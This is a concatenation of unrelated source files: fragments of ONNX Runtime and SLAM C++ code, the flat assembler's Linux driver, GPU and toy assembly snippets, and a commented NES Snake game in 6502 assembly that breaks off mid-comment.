ORT_ENFORCE(step_tensor_new != nullptr, "Step tensor (input) and updated step tensor (output) must be specified together."); int64_t* step_data_new = step_tensor_new->template MutableData<int64_t>(); *step_data_new = *step_data + 1; } return Status::OK(); } } // namespace rocm } // namespace onnxruntime
/* * <one line to give the program's name and a brief idea of what it does.> * Copyright (C) 2016 <copyright holder> <email> * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. * */ #include "myslam/frame.h" namespace myslam { Frame::Frame(long id, double time_stamp, const SE3 &pose, const Mat &left, const Mat &right) : id_(id), time_stamp_(time_stamp), pose_(pose), left_img_(left), right_img_(right) {} Frame::Ptr Frame::CreateFrame() { static long factory_id = 0; Frame::Ptr new_frame(new Frame); new_frame->id_ = factory_id++; return new_frame; } void Frame::SetKeyFrame() { static long keyframe_factory_id = 0; is_keyframe_ = true; keyframe_id_ = keyframe_factory_id++; } }
/** * @file jax.hpp * @brief JSON parser and generator for C++ */ #pragma once #include <jax/stream_parser.hpp> //#include <jax/tree_parser.hpp>
match ,{ include 'macro/struct.inc' include '../linux/import32.inc' } match -,{ else include 'selfhost.inc' end match _ equ } format ELF public main include '../version.inc' extrn 'malloc' as libc.malloc extrn 'realloc' as libc.realloc extrn 'free' as libc.free extrn 'fopen' as libc.fopen extrn 'fclose' as libc.fclose extrn 'fread' as libc.fread extrn 'fwrite' as libc.fwrite extrn 'fseek' as libc.fseek extrn 'ftell' as libc.ftell extrn 'time' as libc.time extrn 'write' as libc.write extrn getenv extrn gettimeofday extrn exit struct timeval time_t dd ? suseconds_t dd ? ends section '.text' executable align 16 main: mov ecx,[esp+4] mov [argc],ecx mov ebx,[esp+8] mov [argv],ebx call system_init call get_arguments mov bl,al cmp [no_logo],0 jne logo_ok mov esi,_logo xor ecx,ecx call display_string logo_ok: test bl,bl jnz display_usage_information xor al,al mov ecx,[verbosity_level] jecxz init or al,TRACE_ERROR_STACK dec ecx jz init or al,TRACE_DISPLAY init: call assembly_init ccall gettimeofday,start_time,0 assemble: mov esi,[initial_commands] mov edx,[source_path] call assembly_pass jc assembly_done mov eax,[current_pass] cmp eax,[maximum_number_of_passes] jb assemble call show_display_data mov esi,_error_prefix xor ecx,ecx call display_error_string mov esi,_code_cannot_be_generated xor ecx,ecx call display_error_string mov esi,_message_suffix xor ecx,ecx call display_error_string jmp assembly_failed assembly_done: call show_display_data cmp [first_error],0 jne assembly_failed cmp [no_logo],0 jne summary_done mov eax,[current_pass] xor edx,edx call itoa call display_string mov esi,_passes cmp [current_pass],1 jne display_passes_suffix mov esi,_pass display_passes_suffix: xor ecx,ecx call display_string ccall gettimeofday,end_time,0 mov eax,[end_time.time_t] sub eax,[start_time.time_t] mov ecx,1000000 mul ecx add eax,[end_time.suseconds_t] adc edx,0 sub eax,[start_time.suseconds_t] sbb edx,0 add eax,50000 mov ecx,1000000 div ecx mov ebx,eax mov eax,edx xor edx,edx mov ecx,100000 div ecx mov [tenths_of_second],eax xchg eax,ebx or ebx,eax jz display_output_length xor edx,edx call itoa call display_string mov esi,_message_suffix mov ecx,1 call display_string mov eax,[tenths_of_second] xor edx,edx call itoa call display_string mov esi,_seconds xor ecx,ecx call display_string display_output_length: call get_output_length push eax edx call itoa call display_string pop edx eax mov esi,_bytes cmp eax,1 jne display_bytes_suffix test edx,edx jnz display_bytes_suffix mov esi,_byte display_bytes_suffix: xor ecx,ecx call display_string mov esi,_new_line xor ecx,ecx call display_string summary_done: mov ebx,[source_path] mov edi,[output_path] call write_output_file jc write_failed call assembly_shutdown call system_shutdown ccall exit,0 assembly_failed: call show_errors call assembly_shutdown call system_shutdown ccall exit,2 write_failed: mov ebx,_write_failed jmp fatal_error out_of_memory: mov ebx,_out_of_memory jmp fatal_error fatal_error: mov esi,_error_prefix xor ecx,ecx call display_error_string mov esi,ebx xor ecx,ecx call display_error_string mov esi,_message_suffix xor ecx,ecx call display_error_string call assembly_shutdown call system_shutdown ccall exit,3 display_usage_information: mov esi,_usage xor ecx,ecx call display_string call system_shutdown ccall exit,1 get_arguments: xor eax,eax mov [initial_commands],eax mov [source_path],eax mov [output_path],eax mov [no_logo],al mov [maximum_number_of_passes],100 mov [maximum_number_of_errors],1 mov [maximum_depth_of_stack],10000 mov ecx,[argc] mov ebx,[argv] add ebx,4 dec ecx jz error_in_arguments get_argument: mov esi,[ebx] mov al,[esi] cmp al,'-' je get_option cmp [source_path],0 jne get_output_file mov [source_path],esi jmp next_argument get_output_file: cmp [output_path],0 jne error_in_arguments mov [output_path],esi jmp next_argument get_option: inc esi lodsb cmp al,'e' je set_errors_limit cmp al,'E' je set_errors_limit cmp al,'i' je insert_initial_command cmp al,'I' je insert_initial_command cmp al,'p' je set_passes_limit cmp al,'P' je set_passes_limit cmp al,'r' je set_recursion_limit cmp al,'R' je set_recursion_limit cmp al,'v' je set_verbose_mode cmp al,'V' je set_verbose_mode cmp al,'n' je set_no_logo cmp al,'N' jne error_in_arguments set_no_logo: or [no_logo],-1 cmp byte [esi],0 je next_argument error_in_arguments: or al,-1 ret set_verbose_mode: cmp byte [esi],0 jne get_verbose_setting dec ecx jz error_in_arguments add ebx,4 mov esi,[ebx] get_verbose_setting: call get_option_value cmp edx,2 ja error_in_arguments mov [verbosity_level],edx jmp next_argument set_errors_limit: cmp byte [esi],0 jne get_errors_setting dec ecx jz error_in_arguments add ebx,4 mov esi,[ebx] get_errors_setting: call get_option_value test edx,edx jz error_in_arguments mov [maximum_number_of_errors],edx jmp next_argument set_recursion_limit: cmp byte [esi],0 jne get_recursion_setting dec ecx jz error_in_arguments add ebx,4 mov esi,[ebx] get_recursion_setting: call get_option_value test edx,edx jz error_in_arguments mov [maximum_depth_of_stack],edx jmp next_argument set_passes_limit: cmp byte [esi],0 jne get_passes_setting dec ecx jz error_in_arguments add ebx,4 mov esi,[ebx] get_passes_setting: call get_option_value test edx,edx jz error_in_arguments mov [maximum_number_of_passes],edx next_argument: add ebx,4 dec ecx jnz get_argument cmp [source_path],0 je error_in_arguments xor al,al ret get_option_value: xor eax,eax mov edx,eax find_option_value: cmp byte [esi],20h jne get_option_digit inc esi jmp find_option_value get_option_digit: lodsb test al,al jz option_value_ok sub al,30h jc invalid_option_value cmp al,9 ja invalid_option_value imul edx,10 jo invalid_option_value add edx,eax jc invalid_option_value jmp get_option_digit option_value_ok: dec esi clc ret invalid_option_value: stc ret insert_initial_command: cmp byte [esi],0 jne measure_initial_command dec ecx jz error_in_arguments add ebx,4 mov esi,[ebx] measure_initial_command: push ebx ecx edi mov edi,esi or ecx,-1 xor al,al repne scasb not ecx dec ecx mov edi,[initial_commands] lea eax,[ecx+2] test edi,edi jz allocate_initial_commands_buffer mov edx,[initial_commands_length] add edi,edx add eax,edx cmp eax,[initial_commands_maximum_length] ja grow_initial_commands_buffer copy_initial_command: rep movsb mov ax,0Ah stosw dec edi sub edi,[initial_commands] mov [initial_commands_length],edi pop edi ecx ebx jmp next_argument allocate_initial_commands_buffer: push ecx mov ecx,eax call malloc mov [initial_commands],eax mov [initial_commands_maximum_length],ecx mov edi,eax pop ecx jmp copy_initial_command grow_initial_commands_buffer: push ecx mov ecx,eax mov eax,[initial_commands] call realloc mov [initial_commands],eax mov [initial_commands_maximum_length],ecx mov edi,eax add edi,[initial_commands_length] pop ecx jmp copy_initial_command include 'system.inc' include '../assembler.inc' include '../symbols.inc' include '../expressions.inc' include '../conditions.inc' include '../floats.inc' include '../directives.inc' include '../calm.inc' include '../errors.inc' include '../map.inc' include '../reader.inc' include '../output.inc' include '../console.inc' section '.data' _logo db 'flat assembler version g.',VERSION,10,0 _usage db 'Usage: fasmg source [output]',10 db 'Optional settings:',10 db ' -p limit Set the maximum allowed number of passes (default 100)',10 db ' -e limit Set the maximum number of displayed errors (default 1)',10 db ' -r limit Set the maximum depth of stack (default 10000)',10 db ' -v flag Enable or disable showing all lines from the stack (default 0)',10 db ' -i command Insert instruction at the beginning of source',13,10 db ' -n Do not show logo nor summary',13,10 db 0 _pass db ' pass, ',0 _passes db ' passes, ',0 _dot db '.' _seconds db ' seconds, ',0 _byte db ' byte.',0 _bytes db ' bytes.',0 _write_failed db 'failed to write the output file',0 _out_of_memory db 'not enough memory to complete the assembly',0 _code_cannot_be_generated db 'could not generate code within the allowed number of passes',0 _open_mode db 'r',0 _create_mode db 'w',0 include '../tables.inc' include '../messages.inc' section '.bss' writeable include '../variables.inc' source_path dd ? output_path dd ? maximum_number_of_passes dd ? initial_commands dd ? initial_commands_length dd ? initial_commands_maximum_length dd ? argc dd ? argv dd ? timestamp dq ? start_time timeval end_time timeval tenths_of_second dd ? verbosity_level dd ? no_logo db ? path_buffer rb 1000h
.public main .extern testInstr .data a: .word 0x12345678 t: .long 0x12343 r: .char 34 .text main: ldc r4, nastavak mov pc, r4 .data.ert b: .char 3 .align .text.ert nastavak: add r1, r2 ldc r4, testInstr halt
/* * Copyright (c) 2017, Intel Corporation * * Permission is hereby granted, free of charge, to any person obtaining a * copy of this software and associated documentation files (the "Software"), * to deal in the Software without restriction, including without limitation * the rights to use, copy, modify, merge, publish, distribute, sublicense, * and/or sell copies of the Software, and to permit persons to whom the * Software is furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included * in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR * OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, * ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR * OTHER DEALINGS IN THE SOFTWARE. */ L0: mov (1|M0) f0.1<1>:uw r24.0<0;1,0>:ub mov (4|M0) r21.4<1>:uw r20.4<4;4,1>:uw add (4|M0) a0.0<1>:uw r22.0<4;4,1>:w 0x200:uw add (4|M0) a0.4<1>:uw r22.4<4;4,1>:w 0x240:uw mov (8|M0) r17.0<1>:uw a0.0<8;8,1>:uw mov (1|M0) a0.3<1>:uw 0x2A8:uw
.inesprg 1 ; 1x 16KB PRG code .ineschr 1 ; 1x 8KB CHR data .inesmap 0 ; mapper 0 = NROM, no bank swapping .inesmir 1 ; background mirroring .bank 0 .org $C000 ; ********************************************************************************************************************** ; * NESNAKE ; * ; * Classic Snake game, built from scratch for the NES ; * ; * Significant inspiration drawn from the "Nerdy Nights" series of tutorials: ; * http://nintendoage.com/forum/messageview.cfm?catid=22&threadid=4147 ; * ; * Author: JD Bell ; * Created: Feb 24, 2019 ; ********************************************************************************************************************** ; * Game Constants: const_GAME_SPEED EQU 15 ; The frames per movement. 60 is approximately 1 second. const_GAME_HEIGHT EQU $E8 ; Screen height / 8 (+1) const_GAME_WIDTH EQU $F8 ; Screen width / 8 (+1) ; ********************************************************************************************************************** ; * Special Memory Locations: ; * $00 - Frame Counter / Collision Flag - The frame counter is reset to 0 whenever the snake moves, so we can reuse ; this memory for calculating coliision types ptr_FRAME_COUNTER EQU $00 ptr_COLLISION_FLAG EQU $00 ; * $01 - Snake Tail Pointer - An offset representing the first byte of the snake's tail tile. For a snake that is 3 ; * tiles long, the offset would be 2 tiles * 4 bytes per tile = 8 ptr_SNAKE_TAIL EQU $01 ; * $02 - Current Snake Direction - A value indicating the snake's current direction: ; * #01 - Up #03 - Left ; * #02 - Down #04 - Right ptr_SNAKE_DIR_CUR EQU $02 ; * $03 - Next Snake Direction - A value indicating the snake's next direction: ; * #01 - Up #03 - Left ; * #02 - Down #04 - Right ptr_SNAKE_DIR_NXT EQU $03 ; * $04-$07 - Temporary Snake Segment Data (TSSD) ; * $04 - X $06 - Tile Index ; * $05 - Y $07 - Tile Attrs ptr_SNAKE_TSSD_X EQU $04 ptr_SNAKE_TSSD_Y EQU $05 ptr_SNAKE_TSSD_TILE EQU $06 ptr_SNAKE_TSSD_ATTR EQU $07 ; * $08 - Game Flags - Various game flags to communicate critical changes in state ; Flag Reference: ; 7 6 5 4 3 2 1 0 ; | ; +-------- Grow Bit - If 1, the snake should grow by one segment ptr_GAME_FLAGS EQU $08 flag_GROW EQU %00000100 ; * $09 - Random Number - To keep predictability low, this number is re-generated in the forever loop rather than the ; interrupt. Call GenNextRandom to force it forward ptr_RAND EQU $09 ; * $0A - Score - Basically a count of the number of apples the player has eaten ptr_SCORE EQU $0A ; * $0200-$0203 - Apple Sprite ; * $0200 - Apple Y ptr_APPLE_Y EQU $0200 ; * $0203 - Apple X ptr_APPLE_X EQU $0203 ; * $0204-$0207 - Snake Head Sprite ; * $0204 - Snake Head Y ptr_SNAKE_HEAD_Y EQU $0204 ; * $0207 - Snake Head X ptr_SNAKE_HEAD_X EQU $0207 ; * $02F8-$02FF - Score Sprites ; * $02F9 - Score Sprite 1 Tile Index ptr_SCORE1_TILE EQU $02F9 ; * $02FD - Score Sprite 2 Tile Index ptr_SCORE2_TILE EQU $02FD ; * $4016 - Controller Buttons State - Each read will return a button state then adv to next button ptr_BTN_STATE EQU $4016 ; ********************************************************************************************************************** ; * Reference: ; * Tile Attribute bits: ; * 7 6 5 43 2 10 ; * | | | || || ; * | | | || ++- Color Palette of sprite. Choose which set of 4 from the 16 colors to use ; * | | | ++------ CUSTOM: The "direction" of the tile (up = 00, down = 01, left = 10, right = 11) ; * | | +--------- Priority (0: in front of background; 1: behind background) ; * | +----------- Flip sprite horizontally ; * +------------- Flip sprite vertically ; ********************************************************************************************************************** RESET: SEI ; disable IRQs CLD ; disable decimal mode LDX #$40 STX $4017 ; disable APU frame IRQ LDX #$FF TXS ; Set up stack INX ; now X = 0 STX $2000 ; disable NMI STX $2001 ; disable rendering STX $4010 ; disable DMC IRQs vblankwait1: ; First wait for vblank to make sure PPU is ready BIT $2002 BPL vblankwait1 clrmem: LDA #$00 STA $0000, X STA $0100, X STA $0300, X STA $0400, X STA $0500, X STA $0600, X STA $0700, X LDA #$FE STA $0200, X ; move all sprites off screen INX BNE clrmem vblankwait2: ; Second wait for vblank, PPU is ready after this BIT $2002 BPL vblankwait2 LoadPalettes: LDA $2002 ; read PPU status to reset the high/low latch LDA #$3F STA $2006 ; write the high byte of $3F00 address LDA #00 STA $2006 ; write the low byte of $3F00 address LDX #00 LoadPalettesLoop: LDA palette, X ; load palette byte STA $2007 ; write to PPU INX ; set index to next byte CPX #$20 BNE LoadPalettesLoop ; if x = $20, 32 bytes copied, all done LDX #00 LoadSpritesLoop: LDA sprites, X ; load the next byte of sprite data STA ptr_APPLE_Y, X ; store the sprite data INX CPX #$10 BNE LoadSpritesLoop ; if x = $10, 16 bytes copied, all done LDA #%10000000 ; enable NMI, sprites from Pattern Table 0 STA $2000 LDA #%00010000 ; enable sprites STA $2001 InitGame: LDA #00 ; Reset the frame counter to 0 STA ptr_FRAME_COUNTER LDA #08 ; The snake starts out at 3 tiles long, so the offset of the tail's first byte is 8 STA ptr_SNAKE_TAIL LDA #$01 STA ptr_SNAKE_DIR_CUR ; Set the default direction to Up STA ptr_SNAKE_DIR_NXT ; Set the default direction to Up LDA #00 STA ptr_GAME_FLAGS ; Set the grow flag to 0 LDA #$E0 STA $02F8 ; Score Sprite 1 Y STA $02FC ; Score Sprite 2 Y LDA #$40 STA $02F9 ; Score Sprite 1 Tile Index STA $02FD ; Score Sprite 2 Tile Index LDA #$00 STA $02FA ; Score Sprite 1 Tile Attributes STA $02FE ; Score Sprite 2 Tile Attributes LDA #$E8 STA $02FB ; Score Sprite 1 X LDA #$F0 STA $02FF ; Score Sprite 2 X Forever: JSR GenNextRandom JMP Forever ; jump back to Forever, infinite loop ; ---------------------------------------------------------------------------------------------------------------------- ; GENERATE NEXT RANDOM ; Generates the next random number and stores it in ptr_RAND GenNextRandom: LDA ptr_RAND ASL A ASL A CLC ADC ptr_RAND CLC ADC #03 STA ptr_RAND RTS ; Return from sub-routine ; ---------------------------------------------------------------------------------------------------------------------- ; ---------------------------------------------------------------------------------------------------------------------- ; NMI ; An interrupt that occurs once every screen paint NMI: LDA #00 STA $2003 ; set the low byte (00) of the RAM address LDA #02 STA $4014 ; set the high byte (02) of the RAM address, start the transfer JSR ReadController ; Read the controller buttons and set the snake direction LDX ptr_FRAME_COUNTER ; Get the frame counter CPX #const_GAME_SPEED ; Have enough frames gone by yet? BNE TickNextFrame ; If not, skip to the next frame JSR MoveSnake ; If yes, move the snake LDX #00 ; Then reset the counter to 0 STX ptr_FRAME_COUNTER TickNextFrame: ; Tick the frame counter INC ptr_FRAME_COUNTER ; Increment the frame counter RTI ; return from interrupt ; ---------------------------------------------------------------------------------------------------------------------- ; ---------------------------------------------------------------------------------------------------------------------- ; READ CONTROLLER ; Read which buttons are currently being pressed and set the snake direction accordingly ReadController: LDA #$01 ; Set $4016 (ptr_BTN_STATE) to 01 and then 00 to latch the controller buttons STA ptr_BTN_STATE LDA #$00 STA ptr_BTN_STATE ; Finish latching the controller buttons LDA ptr_BTN_STATE ; We have to burn a few loads to get to the buttons we want: A LDA ptr_BTN_STATE ; B LDA ptr_BTN_STATE ; Select LDA ptr_BTN_STATE ; Start LDA ptr_BTN_STATE ; Up AND #%00000001 ; Clear all but the 0 bit BEQ ReadUpDone ; If the user is not pressing up, then continue to the next button LDY ptr_SNAKE_DIR_CUR ; Read the current snake direction CPY #02 ; If the current snake direction is Down, then Up is invalid - ignore and continue BEQ ReadUpDone LDY #01 ; Set the snake direction to Up STY ptr_SNAKE_DIR_NXT ReadUpDone: LDA ptr_BTN_STATE ; Down AND #%00000001 ; Clear all but the 0 bit BEQ ReadDownDone ; If the user is not pressing down, then continue to the next button LDY ptr_SNAKE_DIR_CUR ; Read the current snake direction CPY #01 ; If the current snake direction is Up, then Down is invalid - ignore and continue BEQ ReadDownDone LDY #02 ; Set the snake direction to Down STY ptr_SNAKE_DIR_NXT ReadDownDone: LDA ptr_BTN_STATE ; Left AND #%00000001 ; Clear all but the 0 bit BEQ ReadLeftDone ; If the user is not pressing left, then continue to the next button LDY ptr_SNAKE_DIR_CUR ; Read the current snake direction CPY #04 ; If the current snake direction is Right, then Left is invalid - ignore and continue BEQ ReadLeftDone LDY #03 ; Set the snake direction to Left STY ptr_SNAKE_DIR_NXT ReadLeftDone: LDA ptr_BTN_STATE ; Right AND #%00000001 ; Clear all but the 0 bit BEQ ReadRightDone ; If the user is not pressing right, then continue to the next button LDY ptr_SNAKE_DIR_CUR ; Read the current snake direction CPY #03 ; If the current snake direction is Left, then Right is invalid - ignore and continue BEQ ReadRightDone LDY #04 ; Set the snake direction to Right STY ptr_SNAKE_DIR_NXT ReadRightDone: RTS ; Return from sub-routine ; ---------------------------------------------------------------------------------------------------------------------- ; ---------------------------------------------------------------------------------------------------------------------- ; MOVE SNAKE ; Begin by calculating the head's new position, then shuffle the head into that position, then the second segment into ; the head's former position, then the third segment into the second's former position, etc. MoveSnake: ReadNextSnakeDirection: LDY ptr_SNAKE_DIR_NXT ; Get the next direction to move the snake CPY #01 ; 1 = Up BEQ MoveSnakeUp CPY #02 ; 2 = Down BEQ MoveSnakeDown CPY #03 ; 3 = Left BEQ MoveSnakeLeft ; Anything else = Right (4 is assumed) MoveSnakeRight: LDA ptr_SNAKE_HEAD_X ; Copy the Snake's current X Position into TSSD, CLC ADC #08 ; Adding 8 Pixels STA ptr_SNAKE_TSSD_X LDA ptr_SNAKE_HEAD_Y ; Copy the Snake's current Y Position into TSSD STA ptr_SNAKE_TSSD_Y LDA #$11 ; Use the Left-Right Snake Head STA ptr_SNAKE_TSSD_TILE LDA #%01000000 ; Turn the head rightward STA ptr_SNAKE_TSSD_ATTR JMP UpdateGameState MoveSnakeDown: LDA ptr_SNAKE_HEAD_X ; Copy the Snake's current X Position into TSSD STA ptr_SNAKE_TSSD_X LDA ptr_SNAKE_HEAD_Y ; Copy the Snake's current Y Position into TSSD, CLC ADC #08 ; Adding 8 Pixels STA ptr_SNAKE_TSSD_Y LDA #$10 ; Use the Up-Down Snake Head STA ptr_SNAKE_TSSD_TILE LDA #%10000000 ; Turn the head downward STA ptr_SNAKE_TSSD_ATTR JMP UpdateGameState MoveSnakeUp: LDA ptr_SNAKE_HEAD_X ; Copy the Snake's current X Position into TSSD STA ptr_SNAKE_TSSD_X LDA ptr_SNAKE_HEAD_Y ; Copy the Snake's current Y Position into TSSD, SBC #08 ; Subtracting 8 Pixels STA ptr_SNAKE_TSSD_Y LDA #$10 ; Use the Up-Down Snake Head STA ptr_SNAKE_TSSD_TILE LDA #%00000000 ; Turn the head upward STA ptr_SNAKE_TSSD_ATTR JMP UpdateGameState MoveSnakeLeft: LDA ptr_SNAKE_HEAD_X ; Copy the Snake's current X Position into TSSD, SBC #08 ; Subtracting 8 Pixels STA ptr_SNAKE_TSSD_X LDA ptr_SNAKE_HEAD_Y ; Copy the Snake's current Y Position into TSSD STA ptr_SNAKE_TSSD_Y LDA #$11 ; Use the Left-Right Snake Head STA ptr_SNAKE_TSSD_TILE LDA #%00000000 ; Turn the head leftward STA ptr_SNAKE_TSSD_ATTR UpdateGameState: ; Now that we know where the snake is about to move, we can update the game state JSR DetectCollisions ; Check for collisions LDA ptr_GAME_FLAGS ; Get the current Game Flags AND #flag_GROW ; Isolate the Grow Flag BEQ MoveSnakeInit ; If it's 0, then just continue on with shuffling the snake PHA ; Store the grow flag value for later LDA ptr_SNAKE_TSSD_Y ; We need to keep a copy the new head sprite while we work on updating the tail PHA LDA ptr_SNAKE_TSSD_TILE PHA LDA ptr_SNAKE_TSSD_ATTR PHA LDA ptr_SNAKE_TSSD_X PHA LDX ptr_SNAKE_TAIL ; Kick off X at the snake tail offset LDA ptr_SNAKE_HEAD_Y, X ; Copy the tail sprite info to seed the new tail STA ptr_SNAKE_TSSD_Y INX LDA ptr_SNAKE_HEAD_Y, X STA ptr_SNAKE_TSSD_TILE INX LDA ptr_SNAKE_HEAD_Y, X STA ptr_SNAKE_TSSD_ATTR INX LDA ptr_SNAKE_HEAD_Y, X STA ptr_SNAKE_TSSD_X INX LDA ptr_SNAKE_TSSD_Y ; Seed the new tail Y STA ptr_SNAKE_HEAD_Y, X INX LDA #01 ; Seed the new tail Tile STA ptr_SNAKE_HEAD_Y, X INX LDA ptr_SNAKE_TSSD_ATTR ; Seed the new tail Tile Attr STA ptr_SNAKE_HEAD_Y, X INX LDA ptr_SNAKE_TSSD_X ; Seed the new tail X STA ptr_SNAKE_HEAD_Y, X PLA ; Now we need to restore the new head sprite before we finish STA ptr_SNAKE_TSSD_X PLA STA ptr_SNAKE_TSSD_ATTR PLA STA ptr_SNAKE_TSSD_TILE PLA STA ptr_SNAKE_TSSD_Y PLA ; Retrieve the grow flag value from earlier CLC ADC ptr_SNAKE_TAIL ; Add the grow flag value (4) to the snake tail pointer and set tail pointer to the result STA ptr_SNAKE_TAIL ; This is how we grow the snake's sprite array ; LDA ptr_SNAKE_TAIL ; CLC ; ADC #04 ; Increase the tail pointer offset by 4 bytes (1 new segment sprite) and store the result. ; STA ptr_SNAKE_TAIL ; This is how we grow the snake's sprite array MoveSnakeInit: LDX #00 ; Prime the loop counter MoveSnakeLoop: ; Shuffle the segments ; Update the Y Position: LDY ptr_SNAKE_HEAD_Y, X ; - Save the old Y Position LDA ptr_SNAKE_TSSD_Y ; - Get the new Y Position STA ptr_SNAKE_HEAD_Y, X ; - Set the new Y Position STY ptr_SNAKE_TSSD_Y ; - Save the old Y Position for the next segment INX CPX #$01 ; Updating the tile is tricky. If this segment is NOT the head, then we can just handle it BNE HandleBodyTile ; like we would the X and Y position. But if it IS the head, then we need to choose the ; appropriate tile and attributes for the next segment HandleHeadTile: ; Update the Tile: LDA ptr_SNAKE_TSSD_TILE ; - Get the new Tile Index STA ptr_SNAKE_HEAD_Y, X ; - Set the new Tile Index INX ; Update the Tile Attributes: LDA ptr_SNAKE_TSSD_ATTR ; - Get the new Tile Attrs STA ptr_SNAKE_HEAD_Y, X ; - Set the new Tile Attrs INX JSR ChooseNextBodyTile ; The logic for choosing the next body tile is too complex to include here, so it's been ; moved into its own subroutine JMP UpdateXPosition HandleBodyTile: ; Update the Tile: LDY ptr_SNAKE_HEAD_Y, X ; - Save the old Tile Index LDA ptr_SNAKE_TSSD_TILE ; - Get the new Tile Index STA ptr_SNAKE_HEAD_Y, X ; - Set the new Tile Index STY ptr_SNAKE_TSSD_TILE ; - Save the old Tile Index for the next segment INX ; Update the Tile Attributes: LDY ptr_SNAKE_HEAD_Y, X ; - Save the old Tile Attrs LDA ptr_SNAKE_TSSD_ATTR ; - Get the new Tile Attrs STA ptr_SNAKE_HEAD_Y, X ; - Set the new Tile Attrs STY ptr_SNAKE_TSSD_ATTR ; - Save the old Tile Attrs for the next segment INX UpdateXPosition: ; Update the X Position: LDY ptr_SNAKE_HEAD_Y, X ; - Save the old X Position LDA ptr_SNAKE_TSSD_X ; - Get the new X Position STA ptr_SNAKE_HEAD_Y, X ; - Set the new X Position STY ptr_SNAKE_TSSD_X ; - Save the old X Position for the next segment INX CPX ptr_SNAKE_TAIL BNE MoveSnakeLoop LDA ptr_GAME_FLAGS ; Check the grow bit. If we're not growing (the normal case) then just handle the tail AND #flag_GROW ; like we would the rest of the body. But, if the grow bit is set, then we've already BEQ HandleSnakeTail ; added the new body segment and the tail should just stay in place. ; Reset the value of the grow flag to 0 LDA ptr_GAME_FLAGS ; Erase the Grow Bit EOR #flag_GROW STA ptr_GAME_FLAGS HandleSnakeTail: ; Update the Y Position: LDA ptr_SNAKE_TSSD_Y ; - Get the new Y Position STA ptr_SNAKE_HEAD_Y, X ; - Set the new Y Position... note that we don't need to store the old position because ; there are no tiles after the tail INX TXA ; Start off by assuming that we'll be using the Up-Down Tail Tile TAY ; But... LDA #$30 ; We need the "direction" of the old tile to know which tail tile index to use, so store STA ptr_SNAKE_HEAD_Y, Y ; the current byte offset, check the direction, then backtrack to set the tail tile index INX LDA ptr_SNAKE_TSSD_ATTR ; - Get the Tile Attrs AND #%00011000 ; - Isolate the "direction" of the tile PHA ; Keep the custom Tile Attrs for later use LSR A ; - Shift the bits to the right 3 times so that we end up with a number between #00-#03 LSR A LSR A BEQ SnakeTailUp ; - 00 - the tile is pointing up CMP #01 BEQ SnakeTailDown PHA ; So it turns out that we need the Left-Right Tail Tile. Push the tile direction onto the LDA #$31 ; the stack, reset the tile to Left-Right using the Y register, then pull the tile STA ptr_SNAKE_HEAD_Y, Y ; direction back into the accumulator and continue setting the tile attributes PLA CMP #02 BEQ SnakeTailLeft CMP #03 BEQ SnakeTailRight SnakeTailUp: SnakeTailLeft: PLA ; Get the custom attributes. We don't need any others. JMP SetSnakeTailAttrs SnakeTailDown: SnakeTailRight: PLA ; Get the custom attributes. ORA #%11000000 ; Merge in the flip bits JMP SetSnakeTailAttrs SetSnakeTailAttrs: STA ptr_SNAKE_HEAD_Y, X ; - Set the new Tile Attrs INX UpdateTailXPosition: ; Update the X Position: LDA ptr_SNAKE_TSSD_X ; - Get the new X Position STA ptr_SNAKE_HEAD_Y, X ; - Set the new X Position UpdateSnakeDirection: LDA ptr_SNAKE_DIR_NXT ; Now that we're done moving the snake, set the snake's new current direction STA ptr_SNAKE_DIR_CUR RTS ; Return from sub-routine ; ---------------------------------------------------------------------------------------------------------------------- ; ---------------------------------------------------------------------------------------------------------------------- ; DETECT COLLISIONS ; Handles the logic for detecting a collision and then doing something about it. ; Expected Memory State: ; This logic runs before the snake has "actually" moved, so the current Snake Head is not useful. Instead, the snake's ; next head position should be stored in the TSSD. The values in the TSSD will be used to detect a collision with the ; snake's body, the apple or the world edges. DetectCollisions: LDA ptr_SNAKE_TSSD_X ; Start by comparing the X Position of the Snake Head and Apple EOR ptr_APPLE_X STA ptr_COLLISION_FLAG ; We'll borrow the frame counter because it's reset to 0 once the snake is done moving LDA ptr_SNAKE_TSSD_Y ; Then compare the Y Position of the Snake Head and Apple EOR ptr_APPLE_Y ORA ptr_COLLISION_FLAG ; Then OR them together BEQ HandleAppleCollision ; If the result is 0, then the snake has eaten the apple RTS ; No collisions detected: Return from sub-routine HandleAppleCollision: LDA ptr_GAME_FLAGS ; Set the Grow Bit ORA #flag_GROW STA ptr_GAME_FLAGS JSR UpdateScore GetNewAppleX: JSR GenNextRandom ; Generate a random number LDA ptr_RAND ; Get the random number ASL A ; Multiply by 8 to get the Apple's next X Position ASL A ASL A CLC ADC #08 CLC CMP #const_GAME_WIDTH BCC SetNewAppleX ; If the new X position is on-screen, then store it and move on to Y JMP GetNewAppleX ; Otherwise, try getting another X value SetNewAppleX: STA ptr_APPLE_X GetNewAppleY: JSR GenNextRandom ; Generate a random number LDA ptr_RAND ; Get the random number ASL A ; Multiply by 8 to get the Apple's next Y Position ASL A ASL A CLC ADC #08 CLC CMP #const_GAME_HEIGHT BCC SetNewAppleY ; If the new Y position is on-screen, then store it and finish JMP GetNewAppleY ; Otherwise, try getting another Y value SetNewAppleY: STA ptr_APPLE_Y RTS ; Return from sub-routine HandleOtherCollision: RTS ; Return from sub-routine ; ---------------------------------------------------------------------------------------------------------------------- ; ---------------------------------------------------------------------------------------------------------------------- ; CHOOSE NEXT BODY TILE ; There are several different tiles to choose from and different orientations the tiles could take. The following table ; lays out the tiles and (H)orizontal and (V)ertical flip bit ; ; 